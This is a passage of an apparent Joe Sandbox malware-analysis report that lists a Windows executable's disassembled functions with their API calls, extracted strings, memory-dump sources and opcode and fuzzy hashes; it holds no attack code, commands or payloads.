                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                  • String ID:
                  • API String ID: 2633735394-0
                  • Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
                  • Instruction ID: 9c375946bf3f457d0ac9a1b0a3c1d97c7eaa8359f408bb9e1f6220df035a1d3b
                  • Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
                  • Instruction Fuzzy Hash: 5D012532400109BBCF129F65DC45EEA3BBAEF99714F058014FE1866160C336E9A1FBA5
                  Function 00EF9DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                  Download Yara Rule
                  APIs
                  • GetDC.USER32(00000000), ref: 00EF9DBE
                  • GetDeviceCaps.GDI32(00000000,00000058), ref: 00EF9DCD
                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EF9DDB
                  • ReleaseDC.USER32(00000000,00000000), ref: 00EF9DE9
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CapsDevice$Release
                  • String ID:
                  • API String ID: 1035833867-0
                  • Opcode ID: db54dd9ee2243e1ef43dea9b47b95b851638644b678751e1967cc7f64b375a4b
                  • Instruction ID: 1d0cca12ee9f89e2fd6f08cb7309f004e5f8b0059af95fc39a4c7e5cce2be2d8
                  • Opcode Fuzzy Hash: db54dd9ee2243e1ef43dea9b47b95b851638644b678751e1967cc7f64b375a4b
                  • Instruction Fuzzy Hash: 8EE0863594662557D3606B786C0CB8B3B94AB1A752F050010FB0196194DA704442EB90
                  Function 00F02016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                  Download Yara Rule
                  APIs
                  • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00F02016
                  • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00F0201B
                  • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00F02020
                    • Part of subcall function 00F0310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00F0311F
                  • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00F02035
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                  • String ID:
                  • API String ID: 1761009282-0
                  • Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
                  • Instruction ID: 5dddb8c1fd190488d0f7527f5854299366670ffc1403e2f35f478d263d430be4
                  • Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
                  • Instruction Fuzzy Hash: 94C04C35804740D4EC913AB12E4B2BD3B0C0D667D4BD224C3E880171C3DF4E060EB172
                  Function 00EF9F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EF9DF1: GetDC.USER32(00000000), ref: 00EF9DF5
                    • Part of subcall function 00EF9DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00EF9E00
                    • Part of subcall function 00EF9DF1: ReleaseDC.USER32(00000000,00000000), ref: 00EF9E0B
                  • GetObjectW.GDI32(?,00000018,?), ref: 00EF9F8D
                    • Part of subcall function 00EFA1E5: GetDC.USER32(00000000), ref: 00EFA1EE
                    • Part of subcall function 00EFA1E5: GetObjectW.GDI32(?,00000018,?), ref: 00EFA21D
                    • Part of subcall function 00EFA1E5: ReleaseDC.USER32(00000000,?), ref: 00EFA2B5
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ObjectRelease$CapsDevice
                  • String ID: (
                  • API String ID: 1061551593-3887548279
                  • Opcode ID: 74ec76e8b3e94acca2a7bd3aacd94b48517ffd998f519635bd6bc9db305ba159
                  • Instruction ID: 853aace37e0d3325c6c5daa9812ba151e184e5d3146a58dd6d0e57b690ceb95d
                  • Opcode Fuzzy Hash: 74ec76e8b3e94acca2a7bd3aacd94b48517ffd998f519635bd6bc9db305ba159
                  • Instruction Fuzzy Hash: EC8125B52082589FC714DF28D84496ABBF9FFC8704F05892DF98AD7260CB35AD05DB52
                  Function 00EF0E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _swprintf
                  • String ID: %ls$%s: %s
                  • API String ID: 589789837-2259941744
                  • Opcode ID: c6128b8949a53853d5e1e9bd7004b6f0ae9cc9969e19f83e424ca84dce6afd75
                  • Instruction ID: 910e660e407bb8990a2bff2ef47e18baedad4e998870908716e98f9ba0df6a5a
                  • Opcode Fuzzy Hash: c6128b8949a53853d5e1e9bd7004b6f0ae9cc9969e19f83e424ca84dce6afd75
                  • Instruction Fuzzy Hash: A851DB3238C74CFEEE311AA4CD02FB67696A704B00F206A06F3DA744D7DB925590B613
                  Function 00F0A918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                  Download Yara Rule
                  APIs
                  • _free.LIBCMT ref: 00F0AA84
                    • Part of subcall function 00F08849: IsProcessorFeaturePresent.KERNEL32(00000017,00F08838,00000050,00F13958,?,00EECFE0,00000004,00F20EE8,?,?,00F08845,00000000,00000000,00000000,00000000,00000000), ref: 00F0884B
                    • Part of subcall function 00F08849: GetCurrentProcess.KERNEL32(C0000417,00F13958,00000050,00F20EE8), ref: 00F0886D
                    • Part of subcall function 00F08849: TerminateProcess.KERNEL32(00000000), ref: 00F08874
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                  • String ID: *?$.
                  • API String ID: 2667617558-3972193922
                  • Opcode ID: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
                  • Instruction ID: efff7d645a79aca36d39deeb3edbe07ed53ab9de66169acb49f53a5844028afe
                  • Opcode Fuzzy Hash: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
                  • Instruction Fuzzy Hash: C1516F72E0021AEFDF14DFA8C981AADB7F5EF58310F258169E854E7380E6359A01EB51
                  Function 00EE772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE7730
                  • SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00EE78CC
                    • Part of subcall function 00EEA444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00EEA27A,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA458
                    • Part of subcall function 00EEA444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00EEA27A,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA489
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File$Attributes$H_prologTime
                  • String ID: :
                  • API String ID: 1861295151-336475711
                  • Opcode ID: e204e79ae79560384e61911fe5a05501d08290ab4a683b9baef8f789922f507c
                  • Instruction ID: 0a22414ba0fdf9ee5611f986ce76940381c866344a6624dd879b608397ca15cb
                  • Opcode Fuzzy Hash: e204e79ae79560384e61911fe5a05501d08290ab4a683b9baef8f789922f507c
                  • Instruction Fuzzy Hash: B54163718041ACAAEB24EB51DD45EEEB3FCAF44300F0050DAB649B3192DB745F84CB61
                  Function 00EEB66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: UNC$\\?\
                  • API String ID: 0-253988292
                  • Opcode ID: 666763b449cbd0f46bc77046636a661c87e2a4626252f9f0eb2da58590dc37e6
                  • Instruction ID: 6c4c72b7dee1bdf8a20a010d252d6e38b20f89c357321d3c1b5dfa72af09caf6
                  • Opcode Fuzzy Hash: 666763b449cbd0f46bc77046636a661c87e2a4626252f9f0eb2da58590dc37e6
                  • Instruction Fuzzy Hash: 3641C63580029EBACF20AF63CC41EEF77ADAF44364F105166F814B3662D770EA80D664
                  Function 00EF8FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: Shell.Explorer$about:blank
                  • API String ID: 0-874089819
                  • Opcode ID: fe72706f088fb602ce85b4f004745bd44683f8d623b345f0d5619074bc2cdadb
                  • Instruction ID: db0023673485b619e53ee6bde14ee59ecda797150e523efe8766f5e25120a405
                  • Opcode Fuzzy Hash: fe72706f088fb602ce85b4f004745bd44683f8d623b345f0d5619074bc2cdadb
                  • Instruction Fuzzy Hash: 182182722043189FDB18EF64C895A7A77A8FF84711B15D56DFA49AB292DF70EC00CB60
                  Function 00EEEBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EEEB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00EEEB92
                    • Part of subcall function 00EEEB73: GetProcAddress.KERNEL32(00F281C0,CryptUnprotectMemory), ref: 00EEEBA2
                  • GetCurrentProcessId.KERNEL32(?,?,?,00EEEBEC), ref: 00EEEC84
                  Strings
                  • CryptProtectMemory failed, xrefs: 00EEEC3B
                  • CryptUnprotectMemory failed, xrefs: 00EEEC7C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AddressProc$CurrentProcess
                  • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                  • API String ID: 2190909847-396321323
                  • Opcode ID: 8c328604fa16b6dd01d6c4b9993555a04f35f248129a1b7603db71fc539bb245
                  • Instruction ID: 017ba9cca76b52ed2d13d63e62b8c1ea1475d602450ca871419cb9f9b32673f5
                  • Opcode Fuzzy Hash: 8c328604fa16b6dd01d6c4b9993555a04f35f248129a1b7603db71fc539bb245
                  • Instruction Fuzzy Hash: 8111AB31A022EC5BDB209B32DC06AAE7754EF04754B249015FC067B392CB35AE4297C5
                  Function 00EF0889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                  Download Yara Rule
                  APIs
                  • CreateThread.KERNEL32(00000000,00010000,00EF09D0,?,00000000,00000000), ref: 00EF08AD
                  • SetThreadPriority.KERNEL32(?,00000000), ref: 00EF08F4
                    • Part of subcall function 00EE6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE6EAF
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Thread$CreatePriority__vswprintf_c_l
                  • String ID: CreateThread failed
                  • API String ID: 2655393344-3849766595
                  • Opcode ID: fc261b274c27c9a830c34fb15b460bef984ea0159705409ae5dd7bf05b4ff299
                  • Instruction ID: 4f2edee4b9888e4348ceafe58792650e5b50129949ac94377b43da94bb044f22
                  • Opcode Fuzzy Hash: fc261b274c27c9a830c34fb15b460bef984ea0159705409ae5dd7bf05b4ff299
                  • Instruction Fuzzy Hash: 2801D6B228430D6FD624AF64EC82FB67798EF84755F10002DF686721C2DEE1A841A664
                  Function 00EE130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EEDA98: _swprintf.LIBCMT ref: 00EEDABE
                    • Part of subcall function 00EEDA98: _strlen.LIBCMT ref: 00EEDADF
                    • Part of subcall function 00EEDA98: SetDlgItemTextW.USER32(?,00F1E154,?), ref: 00EEDB3F
                    • Part of subcall function 00EEDA98: GetWindowRect.USER32(?,?), ref: 00EEDB79
                    • Part of subcall function 00EEDA98: GetClientRect.USER32(?,?), ref: 00EEDB85
                  • GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                  • SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemRectTextWindow$Client_strlen_swprintf
                  • String ID: 0
                  • API String ID: 2622349952-4108050209
                  • Opcode ID: a8256944c7c6228797c905cb23397f776a8fe03dd59f40e6ea73cfc75244fefb
                  • Instruction ID: 563c2ac4d25e97710388fd82b608395bd838f33796ac665a0cd638ceaa58092d
                  • Opcode Fuzzy Hash: a8256944c7c6228797c905cb23397f776a8fe03dd59f40e6ea73cfc75244fefb
                  • Instruction Fuzzy Hash: 9FF0AF301043CCA7DF254F629C09BEA3B98BB61349F0AA4A4FD49649A2CB74C9D5EB10
                  Function 00EF084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                  Download Yara Rule
                  APIs
                  • WaitForSingleObject.KERNEL32(?,000000FF,00EF0A78,?), ref: 00EF0854
                  • GetLastError.KERNEL32(?), ref: 00EF0860
                    • Part of subcall function 00EE6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE6EAF
                  Strings
                  • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00EF0869
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorLastObjectSingleWait__vswprintf_c_l
                  • String ID: WaitForMultipleObjects error %d, GetLastError %d
                  • API String ID: 1091760877-2248577382
                  • Opcode ID: ac5c7167eed307de46b7ca752cd6878ea436aa8479b16e49a4cd15f845946c28
                  • Instruction ID: dc24e4983198bcbe8075ac5267b1e9df53f7175af0f3078d5724af8a3e755780
                  • Opcode Fuzzy Hash: ac5c7167eed307de46b7ca752cd6878ea436aa8479b16e49a4cd15f845946c28
                  • Instruction Fuzzy Hash: C9D05E7290807426CA102724AC0AEEF79859F627B4F254724F239791F6DE210A91A6D6
                  Function 00EEDA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                  Download Yara Rule
                  APIs
                  • GetModuleHandleW.KERNEL32(00000000,?,00EED32F,?), ref: 00EEDA53
                  • FindResourceW.KERNEL32(00000000,RTL,00000005,?,00EED32F,?), ref: 00EEDA61
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FindHandleModuleResource
                  • String ID: RTL
                  • API String ID: 3537982541-834975271
                  • Opcode ID: c06cf560ecd7cba7724a53756259648d01da8d09f20e90afba57f56557629ae6
                  • Instruction ID: aa7f02d6b9251c15128cdaec34cf5dea6a986b779b47f853943f74a9a5ab67c3
                  • Opcode Fuzzy Hash: c06cf560ecd7cba7724a53756259648d01da8d09f20e90afba57f56557629ae6
                  • Instruction Fuzzy Hash: 8FC0123168935476D73017327C0DBC33D885B14B15F06049CB145EA1D0D5E5CA409650

                  Executed Functions

                  Function 00007FFD348B3695 Relevance: .3, Instructions: 256COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000006.00000002.2260078748.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_6_2_7ffd348b0000_Blockreview.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e836c089dc86b9941cb4e1246de0dff70be244f1dd13d9a97c99c8857d87ecc3
                  • Instruction ID: 4cf49a7b27b48fcf8e3644fec913a864bde9364962979435045b125e99054b77
                  • Opcode Fuzzy Hash: e836c089dc86b9941cb4e1246de0dff70be244f1dd13d9a97c99c8857d87ecc3
                  • Instruction Fuzzy Hash: 8D81A071A0894E8FEB94DB98C8657E97BE1FF9A310F5401BAD00DD72D6CFB968018781
                  Function 00007FFD348C56E0 Relevance: 1.4, Strings: 1, Instructions: 154COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000006.00000002.2260078748.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_6_2_7ffd348b0000_Blockreview.jbxd
                  Similarity
                  • API ID:
                  • String ID: 8my4
                  • API String ID: 0-2342347051
                  • Opcode ID: 18b05fbab6813f0097eb5fb16b9083d57547678e5106b5eb41df3fb9ddc6e753
                  • Instruction ID: 4bfea600baf6051fc53891f21a1655cef6c91ac498eef25df5c6e4d33cda9478
                  • Opcode Fuzzy Hash: 18b05fbab6813f0097eb5fb16b9083d57547678e5106b5eb41df3fb9ddc6e753
                  • Instruction Fuzzy Hash: 2B51FE70E59A1D8FEF94EB68C8A9AADB7F1FF59301F10016AD00DE3251DF7468818B40
                  Function 00007FFD348B120D Relevance: 1.3, Strings: 1, Instructions: 61COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000006.00000002.2260078748.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_6_2_7ffd348b0000_Blockreview.jbxd
                  Similarity
                  • API ID:
                  • String ID: Pyz4
                  • API String ID: 0-1158538920
                  • Opcode ID: 4b6e2831863c8defb0416039945c94287cc9527f3c381b31dd7e5b729320e79f
                  • Instruction ID: 60a7834ac908cb930fa691c05c0b75ae18773d36d10c1a8953486e4d7c601d3d
                  • Opcode Fuzzy Hash: 4b6e2831863c8defb0416039945c94287cc9527f3c381b31dd7e5b729320e79f
                  • Instruction Fuzzy Hash: 5511BF70A0D64A4EEB99DB6884E92F97BE0FF5B311F0004BED51ACA1D2DEA9A444D740
                  Function 00007FFD348B1220 Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
